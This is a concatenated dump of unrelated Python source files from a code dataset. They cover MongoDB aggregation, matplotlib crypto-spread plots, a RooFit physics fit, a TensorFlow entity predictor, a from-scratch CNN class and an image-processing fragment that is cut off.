json\n\n#w접속\nwith open('D:\\py\\myPythonlearning\\py1810\\myinfo.json') as f:\n data = json.load(f)\n\nip = data['ip']\nport = data['port']\n\nclient = MongoClient(ip, port)\n\ndb = client.mongodb\ncol = db.restaurants\n\n#데이터조회 - 부분키 출력\n#음식점 정보 중 id, borough, cuisine, name만 출력\n\n# cs = col.find({},{'id':1,'borough':1, 'cuisine':1, 'name':1}).limit(1000).sort('name', 1).skip(500)\n\n#집계함수\nparam = [{'$group':{'_id': '총 음식점 수', 'total':{ '$sum' : 1}}}]\ncs = col.aggregate(param)\n\nfor i in cs:\n print(i)\n\n\n#cursor형식으로 처리\n# while(cursor.hasNext()): #pymongo 지원하지 않음.\n# cnt = cursor.count()\n# while (cnt > 0):\n# print(cursor.next())\n# cnt -= 1\n\n# Obj_id = ObjectId('5bc6dd1c5952aca3307d0621')\n# cursor = books.find_one({'_id': Obj_id})\n# print(cursor)\n\n\nclient.close()","sub_path":"py1810/hello_mongo_04b.py","file_name":"hello_mongo_04b.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"386890033","text":"import ast\nimport datetime\nimport time\nimport matplotlib\nmatplotlib.use(\"Agg\")\nimport matplotlib.pyplot as plt\n#import numpy as nu\n#import matplotlib.dates as mdate\nimport getPrice\nfrom matplotlib.ticker import FuncFormatter\nimport matplotlib.dates as mdates\n\n#print time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))\n\ndef spreadDistribution(times,asset1Close, asset2Close,names,coinSymbol,onlyOneDay=False):\n\t# count price spread between asset1 contract and asset2\n\t# The result is rounded int(asset1-asset2) since the spread is taken as index of list spreadCount\n\n\tif onlyOneDay:\n\t\tasset1Close=asset1Close[-1440:]\n\t\tasset2Close=asset2Close[-1440:]\n\n\t# How to substantially measure spread? price spread? No! price spread proportion!\n\tspreadVal=[(asset1 - asset2) / asset2 * 100 for (asset1, asset2) in zip(asset1Close, asset2Close)]\n\t# dpi=1000 is enough\n\t# http://matplotlib.org/api/pyplot_api.html#matplotlib.pyplot.figure\n\tplt.figure(num='spread', figsize=(9, 10), dpi=1000)\n\tspreadDistribuiton=plt.subplot(311)\n\t# relationship between time and spread\n\tspreadDistribuiton.plot(spreadVal, linewidth=0.2,label='spread')\n\tspreadDistribuiton.set_ylabel('spread percentage')\n\tspreadDistribuiton.set_xlim()\n\tassetDistribution=spreadDistribuiton.twinx()\n\tassetDistribution.plot(asset1Close, label=names[0], linewidth=0.2, color='black')\n\tassetDistribution.plot(asset2Close, label=names[1], linewidth=0.2, color='red')\n\tassetDistribution.set_ylabel('Asset price of {0} and {1}'.format(names[0],names[1]))\n\tplt.legend(loc='lower right')\n\n\tspreadStatistic=plt.subplot(312)\n\tmaxSpread = max(spreadVal)\n\tminSpread = min(spreadVal)\n\t# spread is a list to show; split it to be 200 bins\n\tn, bins, patches = spreadStatistic.hist(x=spreadVal, bins=200, facecolor='g')\n\t# 4-dimensional coordinates\n\t# x-axis scale\n\t# plt.xticks(nu.linspace(minSpread, maxSpread, 10, endpoint=True))\n\tspreadStatistic.set_xlabel('spread statistic between {0} and {1}'.format(names[0],names[1]))\n\tspreadStatistic.grid(True)\n\n\n\tspereadAccumulation=plt.subplot(313)\n\tspreadSum=0\n\t# the spread between two assets may be negative\n\tfor x in spreadVal:\n\t\tspreadSum+=x if x > 0 else -x\n\taccumulation=[0]*len(spreadVal)\n\ttmpSum=0\n\tfor i,x in enumerate(spreadVal):\n\t\ttmpSum+=x if x > 0 else -x\n\t\taccumulation[i]=tmpSum/spreadSum\n\tspereadAccumulation.plot(accumulation)\n\t# 这里是有缺陷的,x坐标应该是价差比例,y坐标和现在一样是累积比例\n\t# 图是错的,第二个datasets里面,btc quarter spot spread的直方图统计和下面的累积概率明显矛盾\n\t#spereadAccumulation.set_xlim()\n\tspereadAccumulation.set_xlabel('spread percentage')\n\tspereadAccumulation.set_ylabel('Accumulation of statistic')\n\n\tplt.savefig('{0}{2}{3}Spread_{1}.png'.format(coinSymbol, time.strftime('%Y%m%d_%H%M%S', time.localtime(time.time())),names[0],names[1]))\n\tplt.close('spread')\n\ndef futureArbiStatisticPlot(coinSymbol):\n\t# read data from files\n\tcnyFile=open(coinSymbol+'_cny.txt')\n\tcnyData=cnyFile.readline()\n\tcnyData=ast.literal_eval(cnyData)\n\n\tthisFile=open(coinSymbol+'_this_week.txt')\n\tthisData=thisFile.readline()\n\tthisData=ast.literal_eval(thisData)\n\n\tnextFile=open(coinSymbol+'_next_week.txt')\n\tnextData=nextFile.readline()\n\tnextData=ast.literal_eval(nextData)\n\n\tusdFile=open(coinSymbol+'_usd.txt')\n\tusdData=usdFile.readline()\n\tusdData=ast.literal_eval(usdData)\n\n\tquarterFile=open(coinSymbol+'_quarter.txt')\n\tquarterData=quarterFile.readline()\n\tquarterData=ast.literal_eval(quarterData)\n\n\ttimes=[x[0] for x in cnyData]\n\n\t# timestamps\n\txLine=[(t - times[0]) / 1000 for t in times]\n\t# exchange rate of this week\n\t#rate=getPrice.exchange_rate()['rate'] READ historical FILE instead of call\n\t# prices\n\tcnyClose=[x[4]/rate for x in cnyData]\n\tquarterClose=[x[4] for x in quarterData]\n\tthisClose=[x[4] for x in thisData]\n\tnextClose=[x[4] for x in nextData]\n\tusdClose=[x[4] for x in usdData]\n\n\tdates=[datetime.datetime.fromtimestamp(ms / 1000.0) for ms in times]\n\n\t# plot prices\n\tplt.figure(num='prices',dpi=1000)\n\tplt.plot(xLine, cnyClose, label='cny', linewidth=0.5, color='red')\n\tplt.plot(xLine, thisClose, label='this', linewidth=0.5, color='green')\n\tplt.plot(xLine, nextClose, label='next', linewidth=0.5, color='blue')\n\tplt.plot(xLine, usdClose, label='usd', linewidth=0.5, color='yellow')\n\tplt.plot(xLine, quarterClose, label='quarter', linewidth=0.5, color='black')\n\t# IF not set, no labels\n\tplt.legend(loc='lower right')\n\tplt.savefig('{0}Prices_{1}.png'.format(coinSymbol, time.strftime('%Y%m%d_%H%M%S',time.localtime(time.time()))), dpi=1000, bbox_inches=\"tight\")\n\t# If not close, plt.figure(num='spread') can select back to the 'prices' figure at any time\n\tplt.close('prices')\n\n\ttimes=[x[0] for x in cnyData]\n\tassets1Close=[quarterClose,cnyClose]\n\tassets2Close=[cnyClose,thisClose]\n\tnames=[['quarterContract','cnySpot'],['cnySpot','thisWeekContract']]\n\tfor (asset1Close, asset2Close, names) in zip(assets1Close,assets2Close,names):\n\t\tspreadDistribution(times,asset1Close, asset2Close,names,coinSymbol,True)\n\n\t# plt.close('prices') & plt.close('spread').\n\t# Must close pictures; If not, plt in next plot(coinSymbol) invocation will still hold figures in the same name\n\n\nif __name__ == '__main__':\n\tfutureArbiStatisticPlot('btc')\n\tfutureArbiStatisticPlot('ltc')\n\n\ndef plotTrend(series, labels, title, maxV, pngPathName, market):\n\t# http://matplotlib.org/api/pyplot_api.html#matplotlib.pyplot.rc\n\tplt.rc( 'lines', linewidth=1 )\n\t\n\tfig, ax = plt.subplots(figsize=(11, 3))\n\n\tclr = ['b','g','r'] # colors\n\n\ti = 0\n\tfor s in series:\n\t # alpha, float (0.0 transparent through 1.0 opaque)\n\t ax.plot(s[\"date\"], s[\"r\"], alpha=0.6, label=labels[i], color=clr[i], linewidth=3)\n\t i = i + 1\n\n\t\n\tplt.ylabel('Fill rate', fontsize=12)\n\tplt.title(title)\n\t# 是否开网格线,https://matplotlib.org/api/pyplot_api.html#matplotlib.pyplot.grid 里面也有alpha参数\n\tplt.grid(False)\n\t# https://matplotlib.org/api/pyplot_api.html#matplotlib.pyplot.legend loc=3说明是lower left\n\tplt.legend( loc='lower right', prop={'size':10} )\n\t# Get or set the y-limits of the current axes. 从最低,比如60% 到 1也就是100%\n\tplt.ylim(market[\"ylower\"],1) \n\t# both是说对所有的axis适用,包括x/y;which是说 major ticks\n\tplt.tick_params(axis='both', which='major', labelsize=9, colors='gray')\n\t# https://matplotlib.org/2.0.0rc2/api/axis_api.html#formatters-and-locators,10天为间隔,先是天再是月;\n\t# 从哪里拿到的天数据?\n\tax.xaxis.set_major_locator(mdates.DayLocator(interval=10))\n\t# https://matplotlib.org/2.0.0rc2/api/ticker_api.html#matplotlib.ticker.Formatter\n\tax.xaxis.set_major_formatter(mdates.DateFormatter('%d%b'))\n\tax.yaxis.set_major_formatter(FuncFormatter(to_percent))\n\tdef to_percent(y, position):\n\t return \"{}%\".format(int(y*100))\n\n\n\t[i.set_color('gray') for i in ax.spines.itervalues()]\n\n\n\tax2 = ax.twinx()\n\tax2.set_ylabel(\"{}\".format(market[\"currency\"]))\n\tax2.yaxis.set_major_formatter(FuncFormatter(to_dollar))\n\tdef to_dollar(value, position):\n\t sHTML = \"\"\n\t if value/1000<1:\n\t sHTML += \"{0}\".format(getNumber(value));\n\t elif value/1000000<1:\n\t sHTML += str(getNumber(value/1000)) + \"k\";\n\t elif value/1000000000<1:\n\t sHTML += str(getNumber(value/1000000)) + \"M\";\n\t else:\n\t sHTML += str(getNumber(value/1000000000)) + \"B\";\n\t return sHTML\n\n\n\ti = 0\n\tfor s in series:\n\t # https://matplotlib.org/api/_as_gen/matplotlib.axes.Axes.fill_between.html\n\t # 这是画图时候,曲线下方填充颜色\n\t ax2.fill_between(s[\"date\"], s[\"v\"], alpha=0.3, color=clr[i], linewidth=1)\n\t i = i + 1\n\t# y坐标轴的刻度范围\n\tax2.set_ylim(0, maxV)\n\n\t# https://matplotlib.org/api/figure_api.html#matplotlib.figure.Figure.autofmt_xdate\n\t# 因为用data作为刻度时候,经常相互重叠,这里进行旋转\n\tfig.autofmt_xdate()\n\tplt.savefig(pngPathName)\n\t# print (pngPathName)\n\tplt.close()\n\ndef plotDates():\n\tmonthdays = MonthLocator()\n\tmondays = WeekdayLocator(MONDAY)\n\talldays = DayLocator()\n\tax.xaxis.set_major_locator(mondays)\n\tax.xaxis.set_minor_locator(alldays)\n\tmondayFormatter = DateFormatter('%Y-%m-%d') # 如:2-29-2015\n\tdayFormatter = DateFormatter('%d') # 如:12\n\tax.xaxis.set_major_formatter(mondayFormatter)\n\tfor label in ax1.get_xticklabels():\n\t\tlabel.set_rotation(30)\n\t\tlabel.set_horizontalalignment('right')","sub_path":"btcTradingSystem/OKCoin/Code/plotPrice/plotPrice.py","file_name":"plotPrice.py","file_ext":"py","file_size_in_byte":8276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"502154656","text":"import os\n\nclass fgrab:\n def __init__(self,path):\n self.path = path\n self.result = list()\n\n def get_all_in_dir(self,filetype):\n for filename in os.listdir(self.path):\n if filename.endswith(filetype):\n r = os.path.join(self.path, filename)\n self.result.append(r)\n return self.result","sub_path":"utils/grab_folder.py","file_name":"grab_folder.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"222135669","text":"# https://root.cern.ch/download/doc/RooFit_Users_Manual_2.91-33.pdf\n\nfunctionIndex = 0\n\nimport ROOT\n\nc1 = ROOT.TCanvas(\"c1\")\n\n\n#-rw-r--r-- 1 sdonato uniz-higgs 828 Aug 3 15:36 higgsCombineqq_475_lumi-27.637_r-1.000_CaloTrijet2016_silvio6_atlas6.GenerateOnly.mH120.123456.root\n#-rw-r--r-- 1 sdonato uniz-higgs 6.1K Aug 3 15:37 higgsCombineqq_425_lumi-27.637_r-1.000_CaloTrijet2016_silvio6_atlas6.MaxLikelihoodFit.mH120.123456.root\n\n\n#file_ = ROOT.TFile.Open(\"/mnt/t3nfs01/data01/shome/dbrzhech/DijetScouting/CMSSW_7_4_14/src/CMSDIJET/DijetRootTreeAnalyzer/signal_bias_test/higgsCombineqq_300_lumi-35.900_r-1.000_CaloTrijet2016_fiveparam_fiveparam.MaxLikelihoodFit.mH120.123456.root\")\n\n#fileFit = ROOT.TFile.Open(\"fits_trijet_silvio_2018/DijetFitResults_CaloTrijet2016.root\")\n#fileFit = ROOT.TFile.Open(\"signal_bias_silvio/qq/modexp_silvio6/dijet_combine_qq_600_lumi-27.637_CaloTrijet2016.root\")\n\n\"\"\"\nTO CREATE THE DATACARD: \npython python/WriteDataCard.py -m qq --mass 420 -i fits_trijet_silvio_2018/DijetFitResults_CaloTrijet2016.root -l 27637.000000 -c config/dijet_silvio_bias.config -b CaloTrijet2016 -d . inputs/ResonanceShapes_qq_13TeV_CaloScouting_2016.root inputs/full.root --xsec 1.000000 --jesUp inputs/ResonanceShapes_qq_13TeV_CaloScouting_2016_JESUP.root --jesDown inputs/ResonanceShapes_qq_13TeV_CaloScouting_2016_JESDOWN.root --jerUp inputs/ResonanceShapes_qq_13TeV_CaloScouting_2016_JERUP.root --jerDown inputs/ResonanceShapes_qq_13TeV_CaloScouting_2016_JERDOWN.root --multi\n\n\"\"\"\nfileFit = ROOT.TFile.Open(\"dijet_combine_qq_420_lumi-27.637_CaloTrijet2016.root\")\n\n#fileFit = ROOT.TFile.Open(\"signal_bias_silvio/qq/atlas_silvio4/dijet_combine_qq_420_lumi-27.637_CaloTrijet2016.root\")\n#fileToys = ROOT.TFile.Open(\"signal_bias_silvio/qq/atlas_silvio4/higgsCombineqq_420_lumi-27.637_r-1.362_CaloTrijet2016_atlas_silvio4.GenerateOnly.mH120.123456.root\")\n\n\n\n#fileFit = ROOT.TFile.Open(\"signal_bias_silvio/qq/atlas6_silvio5/higgsCombineqq_400_lumi-27.637_r-1.641_CaloTrijet2016_atlas6_silvio5.MaxLikelihoodFit.mH120.123456.root\")\n#fileToys = ROOT.TFile.Open(\"signal_bias_silvio/qq/atlas6_silvio5/higgsCombineqq_400_lumi-27.637_r-1.641_CaloTrijet2016_atlas6_silvio5.GenerateOnly.mH120.123456.root\")\n\n#fileFit = ROOT.TFile.Open(\"signal_bias_silvio/qq/silvio6_silvio5/higgsCombineqq_500_lumi-27.637_r-1.211_CaloTrijet2016_silvio6_silvio5.GenerateOnly.mH120.123456.root\")\n#fileToys = ROOT.TFile.Open(\"signal_bias_silvio/qq/silvio6_silvio5/higgsCombineqq_500_lumi-27.637_r-1.211_CaloTrijet2016_silvio6_silvio5.MaxLikelihoodFit.mH120.123456.root\")\n\n\n\ntry:\n w = fileFit.Get(\"w\")\n if w == None:\n w = fileFit.Get(\"wCaloTrijet2016\")\n print(\"\\nWorkSpace:\")\n w.Print()\n print()\nexcept:\n print(\"CANNOT OPEN WORKSPACE!!!\")\n\n\ndata = w.data(\"data_obs\")\n\nprint(\"\\data:\")\ndata.Print()\nprint()\n\ntry:\n pdf_index = w.cat(\"pdf_index\")\n pdf_index.setIndex(functionIndex)\n print(\"#\"*20)\n print(\"#\"*5 + \"I'm selecting\" + pdf_index.getLabel() + \"#\"*5 )\n print(\"#\"*20)\nexcept:\n pass\n\n#try:\n #shapeBkg_CaloTrijet2016_multi_CaloTrijet2016__norm = w.var(\"shapeBkg_CaloTrijet2016_multi_CaloTrijet2016__norm\")\n #shapeBkg_CaloTrijet2016_multi_CaloTrijet2016__norm.setVal(1)\n #shapeBkg_CaloTrijet2016_multi_CaloTrijet2016__norm.setConstant(ROOT.kTrue)\n#except:\n #pass\n\n#try:\n #r = w.var(\"r\")\n #r.setVal(1)\n #r.setConstant(ROOT.kTrue)\n#except:\n #pass\n\n\n#mjj = w.var(\"mjj\")\nth1x = w.var(\"th1x\")\n\nframe = th1x.frame()\n\n\n#data.plotOn(frame)\ndata.plotOn(frame)\n\n\n#w.pdf(\"pdf_binCaloTrijet2016\").printCompactTree()\n\n#function = w.pdf(\"pdf_binCaloTrijet2016\")\n#function = w.pdf(\"pdf_binCaloTrijet2016__model_bonly_\")\n\n#pdf_binCaloTrijet2016__model_bonly_\n\n\n#function = w.pdf(\"_model_bonly_\")\n#function = w.pdf(\"model_s\")\n#function = w.function(\"pdf_binCaloTrijet2016_nuis\")\n#function = w.function(\"pdf_binCaloTrijet2016\")\n#function = w.function(\"model_s\")\n#function = w.function(\"pdf_binCaloTrijet2016\")\n#function = w.function(\"shapeBkg_CaloTrijet2016_multi_CaloTrijet2016\")\n#function = w.function(\"CaloTrijet2016_multi\")\n#function = w.function(\"pdf_binCaloTrijet2016_nuis\")\n\nfunction = w.function(\"extDijetPdf\")\n#function = w.function(\"CaloTrijet2016_multi\")\n\n\n#, ROOT.Constrain(shapeBkg_CaloTrijet2016_multi_CaloTrijet2016__norm=1\n\n\npar_fiveparams=[\n 'p51_CaloTrijet2016',\n 'p52_CaloTrijet2016',\n 'p53_CaloTrijet2016',\n 'p54_CaloTrijet2016',\n]\n\npar_modexp=[\n 'pm1_CaloTrijet2016',\n 'pm2_CaloTrijet2016',\n 'pm3_CaloTrijet2016',\n 'pm4_CaloTrijet2016',\n]\n\npar_atlas=[\n 'pa1_CaloTrijet2016', \n 'pa2_CaloTrijet2016',\n 'pa3_CaloTrijet2016',\n 'pa4_CaloTrijet2016',\n]\n\npar_atlas6=[\n 'pa61_CaloTrijet2016', \n 'pa62_CaloTrijet2016',\n 'pa63_CaloTrijet2016',\n 'pa64_CaloTrijet2016',\n 'pa65_CaloTrijet2016',\n]\n\npar_silvio6=[\n 'p1s6_CaloTrijet2016', \n 'p2s6_CaloTrijet2016',\n 'p3s6_CaloTrijet2016',\n 'p4s6_CaloTrijet2016',\n 'p5s6_CaloTrijet2016',\n]\n\npar_silvio5=[\n 'p1s5_CaloTrijet2016', \n 'p2s5_CaloTrijet2016',\n 'p3s5_CaloTrijet2016',\n 'p4s5_CaloTrijet2016',\n]\n\npar_silvio4=[\n 'p1s4_CaloTrijet2016', \n 'p2s4_CaloTrijet2016',\n 'p3s4_CaloTrijet2016',\n]\n\npdf_index_value = pdf_index.getIndex()\n\nif pdf_index_value==0:\n funct_param = par_modexp\nelif pdf_index_value==1:\n funct_param = par_fiveparams\nelif pdf_index_value==2:\n funct_param = par_atlas\nelif pdf_index_value==3:\n funct_param = par_atlas6\nelif pdf_index_value==4:\n funct_param = par_silvio4\nelif pdf_index_value==5:\n funct_param = par_silvio5\nelif pdf_index_value==6:\n funct_param = par_silvio6\n\n\n\npdf_index_value = pdf_index.getIndex()\nfor par in (par_silvio4+par_silvio5+par_silvio6+par_atlas+par_atlas6+par_fiveparams+par_modexp):\n if \"CaloTrijet2016\" in par:\n if par in funct_param:\n print(\"par: \"+par)\n var = w.var(par)\n print(\"was \"+str(var.isConstant())+\". Now I set it to FALSE\")\n var.setConstant(ROOT.kFALSE)\n else:\n print(\"par: \"+par)\n var = w.var(par)\n print(\"was \"+str(var.isConstant())+\". Now I set it to TRUE\")\n var.setConstant(ROOT.kTRUE)\n\nNtot_multi_CaloTrijet2016 = w.var(\"Ntot_multi_CaloTrijet2016\")\nNtot_multi_CaloTrijet2016.setVal(Ntot_multi_CaloTrijet2016.getVal())\n\n\n#function.fitTo(data,ROOT.RooFit.Range(\"Full\")) \n#,ROOT.RooFit.Extended(False),ROOT.RooFit.Offset(False),ROOT.RooFit.Strategy(2),ROOT.RooFit.PrintLevel(0)\n\n\n#w.var(\"jer\").setConstant(ROOT.kTRUE)\n#w.var(\"jes\").setConstant(ROOT.kTRUE)\n#w.var(\"jer_In\").setConstant(ROOT.kTRUE)\n#w.var(\"jes_In\").setConstant(ROOT.kTRUE)\n#w.var(\"pm1_CaloTrijet2016\").setVal(-620)\n#w.var(\"pm1_CaloTrijet2016\").setVal(-530)\n\n\n\nnll = function.createNLL(data,ROOT.RooFit.Range(\"Full\"))#,ROOT.RooFit.Extended(True),ROOT.RooFit.Offset(True))\nm2 = ROOT.RooMinimizer(nll)\nm2.setPrintLevel(3)\nm2.setPrintEvalErrors(3)\nm2.setStrategy(2)\nm2.setMaxFunctionCalls(100000 * 10000)\nm2.setMaxIterations(100000 * 10000)\n#migrad_status = m2.minimize('Minuit2','migrad')\nmigrad_status = m2.minimize('Minuit2','migrad2')\n#migrad_status = m2.minimize('Minuit2','hesse')\n#migrad_status = m2.minimize('Minuit2','migrad')\n\n\nc1.SetLogy()\nfunction.plotOn(frame, ROOT.RooFit.Normalization(1.0,ROOT.RooAbsReal.RelativeExpected))\nframe.Draw(\"\")\n\n\n#par.isConstant()\n#par.setConstant(ROOT.kTRUE)\n\n\n#r.Print()\n#shapeBkg_CaloTrijet2016_multi_CaloTrijet2016__norm.Print()\n\n\nprint(\"pdf index: \", pdf_index.getIndex() )\npdf_index.Print()\n\nc1.Update()\nc1.Modify()\n","sub_path":"python/PlotData_fitMultiFunction.py","file_name":"PlotData_fitMultiFunction.py","file_ext":"py","file_size_in_byte":7490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"430697460","text":"\"\"\"Train the model\"\"\"\n\nimport argparse\nimport logging\nimport os\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom model.utils import Params\nfrom model.utils import set_logger\nfrom model.model_fn import model_fn\nfrom model.process_fn import preprocess_input\nfrom model.process_fn import postprocess_output\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--model_dir', default='experiments/crf_model',\n help=\"Directory containing params.json\")\nparser.add_argument('--data_dir', default='data/custom', help=\"Directory containing the dataset\")\nparser.add_argument('--restore_dir', default=None,\n help=\"Optional, directory containing weights to reload before training\")\n\n\n# Set the random seed for the whole graph for reproductible experiments\ntf.set_random_seed(230)\n\n# Load the parameters from the experiment params.json file in model_dir\nargs = parser.parse_args()\njson_path = os.path.join(args.model_dir, 'params.json')\nassert os.path.isfile(json_path), \"No json configuration file found at {}\".format(json_path)\nparams = Params(json_path)\n\n# Load the parameters from the dataset, that gives the size etc. into params\njson_path = os.path.join(args.data_dir, 'dataset_params.json')\nassert os.path.isfile(json_path), \"No json file found at {}, run build_vocab.py\".format(json_path)\nparams.update(json_path)\nnum_oov_buckets = params.num_oov_buckets # number of buckets for unknown words\n\n# Set the logger\nset_logger(os.path.join(args.model_dir, 'train.log'))\n\n\n# Specify other parameters for the dataset and the model\nparams.eval_size = params.dev_size\nparams.buffer_size = params.train_size # buffer size for shuffling\n\nparams.path_words = os.path.join(args.data_dir, 'words.txt')\nparams.path_tags = os.path.join(args.data_dir, 'tags.txt')\n\nlogging.info(\"Start training model\")\ntrans_params_path = os.path.join(args.model_dir, \"trans_params.npy\")\nparams.trans_params_path = trans_params_path\ncheckpoint_path = os.path.join(args.model_dir, 'checkpoint')\nparams.checkpoint_path = checkpoint_path\n\n\n# Expose params to outer scope\ndef get_predict_params():\n global params\n return params\n\n\n# Predictor class for prediction serving\nclass Predictor:\n\n # Static variable for estimator\n estimator = None\n\n def __init__(self, params):\n self.params = params\n\n # Using lazy instantiation for estimator\n if Predictor.estimator is None:\n Predictor.estimator = tf.estimator.Estimator(model_fn=model_fn,\n params=self.params,\n model_dir=self.params.checkpoint_path)\n\n self.sentences_texts = None\n self.sentences, self.sentence_lengths = None, None\n\n def predict_input_fn(self):\n\n predict_input_fn = tf.estimator.inputs.numpy_input_fn(\n x={'sentences': np.array(self.sentences), 'sentence_lengths': np.array(self.sentence_lengths)},\n batch_size=1,\n num_epochs=1,\n shuffle=False)\n\n return predict_input_fn()\n\n def predict(self, sentences_texts):\n\n self.sentences_texts = sentences_texts\n self.sentences, self.sentence_lengths = preprocess_input(self.sentences_texts, self.params)\n\n predictions = Predictor.estimator.predict(input_fn=self.predict_input_fn)\n\n recognized_entities_list = postprocess_output(predictions, sentences_texts, params)\n\n return recognized_entities_list\n\n\nif __name__ == '__main__':\n\n predictor = Predictor(params)\n\n sentences_texts = ['I want to go to tamagwa setagaya tokyo',\n 'I live at tamagawa denenchofu setagaya',\n 'I favor Gotokuji setagaya-ku for our trip',\n 'shall we go to tamagawa denenchofu setagaya-ku tokyo 158-0085 for lunch ?',\n 'kasuya setagaya-ku tokyo 158-0085 is my address',\n 'deliver it to kasuya setagaya-ku tokyo 158-0085']\n\n print(predictor.predict(sentences_texts))\n\n sentences_texts = ['Miyasaka is a good place',\n 'I am working at tsurumaki']\n\n print(predictor.predict(sentences_texts))\n\n","sub_path":"tensorflow/nlp/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"214189041","text":"import dataRead as dr\nimport dataExplore as de\nimport dataClean as dc\nimport modelBuild as mb\nimport modelVisualize as mv\n\nimport numpy as np\nimport pandas as pd\n\ndef main():\n print(\"Hello World!\")\n #dr = dataRead(fullFilePath=\"../data/data.json\")\n #dr.printDF()\n df = dr.readJSON(\"data/data.json\")\n #de.checkDuplicatesInColumn(df, 'customer_id')\n de.checkDuplicates(df)\n de.checkMissingValues(df)\n de.getColumnNames(df)\n de.exploreData(df)\n de.getDataTypes(df)\n dc.encodeToNumeric(df, 'is_newsletter_subscriber')\n df = dc.removeColumnsWithMissingValues(df, ['customer_id', 'coupon_discount_applied'])\n cols = df.columns.values\n de.getOutliersForColumns(df)\n ocols = de.getColumnsForOutliers(df)\n z = dc.calcZscore(df[ocols])\n dfo = dc.removeOutliersUsingZscore(df[ocols], z)\n #print(len(dfo))\n #print(len(np.unique(np.where(z>3)[0])))\n rownumsToRemove = np.unique(np.where(z>3)[0])\n diffcols = list(set(cols).symmetric_difference(ocols))\n dfd = df[diffcols].drop(df.index[rownumsToRemove])\n #print(len(dfd))\n df1 = pd.concat([dfo, dfd], axis=1)\n #print(len(df1))\n #print(df1.columns.values)\n #print(df1.index)\n y_pred = mb.doKMeansDECClusters(df1)\n df2 = df1\n df2['gender'] = pd.Series(y_pred, index=df2.index)\n confusion_matrix, feature_importance = mb.doRFClassification(df2, 'gender')\n #mv.visualizeHeatMapOfConfusionMatrix(confusion_matrix)\n mv.visualizeFeatureImportances(feature_importance)\n\nif __name__ == \"__main__\":\n main()\n\n#print(\"Siva\")\n\n","sub_path":"build/lib/mypython/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"597481388","text":"# coding: utf-8\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom collections import OrderedDict\nfrom layers import *\nfrom optimizers import *\n\nclass network:\n def __init__(self, n, minibatch_size, \n conv_hparams, pool_hparams, \n dropout_ratio, \n opt_hparams):\n # ネットワーク\n self.layers = OrderedDict()\n for i in range(1, 4):\n self.layers['conv0_'+str(i)] = convolution(conv_hparams['0_'+str(i)]['mf'], conv_hparams['0_'+str(i)]['cf'], conv_hparams['0_'+str(i)]['hf'], conv_hparams['0_'+str(i)]['wf'], conv_hparams['0_'+str(i)]['pad'], conv_hparams['0_'+str(i)]['stride'])\n self.layers['actfunc0_'+str(i)] = relu()\n self.layers['conv1_'+str(i)] = convolution(conv_hparams['1_'+str(i)]['mf'], conv_hparams['1_'+str(i)]['cf'], conv_hparams['1_'+str(i)]['hf'], conv_hparams['1_'+str(i)]['wf'], conv_hparams['1_'+str(i)]['pad'], conv_hparams['1_'+str(i)]['stride'])\n self.layers['actfunc1_'+str(i)] = relu()\n self.layers['pool_'+str(i)] = pooling(pool_hparams[str(i)]['hf'], pool_hparams[str(i)]['wf'], pool_hparams[str(i)]['stride'])\n self.layers['affine_4'] = affine(n['3'], n['4'])\n self.layers['actfunc_4'] = relu()\n self.layers['dropout_4'] = dropout(dropout_ratio)\n self.layers['affine_5'] = affine(n['4'], n['5'])\n self.layers['dropout_5'] = dropout(dropout_ratio)\n self.layers['lastlayer'] = softmax_with_loss(minibatch_size)\n # パラメータのあるlayer\n self.layers_with_params = []\n words_list = ['affine', 'BN', 'conv']\n for key, layer in self.layers.items():\n for word in words_list:\n if word in key: self.layers_with_params.append(layer)\n for layer in self.layers_with_params:\n layer.W_optimizer = adam(opt_hparams['lr'], opt_hparams['weight_V'], opt_hparams['weight_H'])\n layer.b_optimizer = adam(opt_hparams['lr'], opt_hparams['weight_V'], opt_hparams['weight_H'])\n # フラグのあるlayer\n self.layers_with_flgs = []\n words_list = ['BN', 'dropout']\n for key, layer in self.layers.items():\n for word in words_list:\n if word in key: self.layers_with_flgs.append(layer)\n \n def get_gradients(self, X):\n # FP\n for layer in self.layers.values():\n X = layer.forward(X)\n # BP\n layers_list = list(self.layers.values())\n layers_list.reverse()\n dX = 1 # dloss\n for layer in layers_list:\n dX = layer.backward(dX)\n \n def get_accuracy(self, X, label):\n # lastlayerを除いたlayer\n m = X.shape[0]\n layers_list = list(self.layers.values())\n del layers_list[-1]\n for layer in layers_list:\n X = layer.forward(X)\n max_ind = np.argmax(X, axis=1).reshape([-1,1])\n acc = np.sum( max_ind==label ) / m * 100\n \n return acc\n \n def update_parameters(self):\n # パラメータのあるlayer\n for layer in self.layers_with_params:\n layer.W = layer.W_optimizer.update(layer.W, layer.dW)\n layer.b = layer.b_optimizer.update(layer.b, layer.db)\n \n def predict(self, X):\n# original_shape = X.shape\n# # 画像描画\n# X = X.reshape([28,28])\n# plt.imshow(X)\n# plt.colorbar()\n# plt.show()\n# # 推論\n# X = X.reshape(original_shape)\n layers_list = list(self.layers.values())\n del layers_list[-1]\n for layer in layers_list:\n X = layer.forward(X)\n max_ind = np.argmax(X, axis=1).reshape([-1,1])\n# print('predicted number: {}'.format(max_ind))\n \n return max_ind","sub_path":"network_job.py","file_name":"network_job.py","file_ext":"py","file_size_in_byte":3783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"531961601","text":"#For image processing\nfrom PIL import Image\n#os.listdir()\nimport os\n\n#define constant color\nred=(255,0,0)\nblack=(0,0,0) #for background\ncolor_drone=(0,120,120) #color for the dot/drone\n\n\n# return relative positions of pixels inside a circle\n# for remove pixels nearby and draw circles\ndef get_circle(dot_size):\n 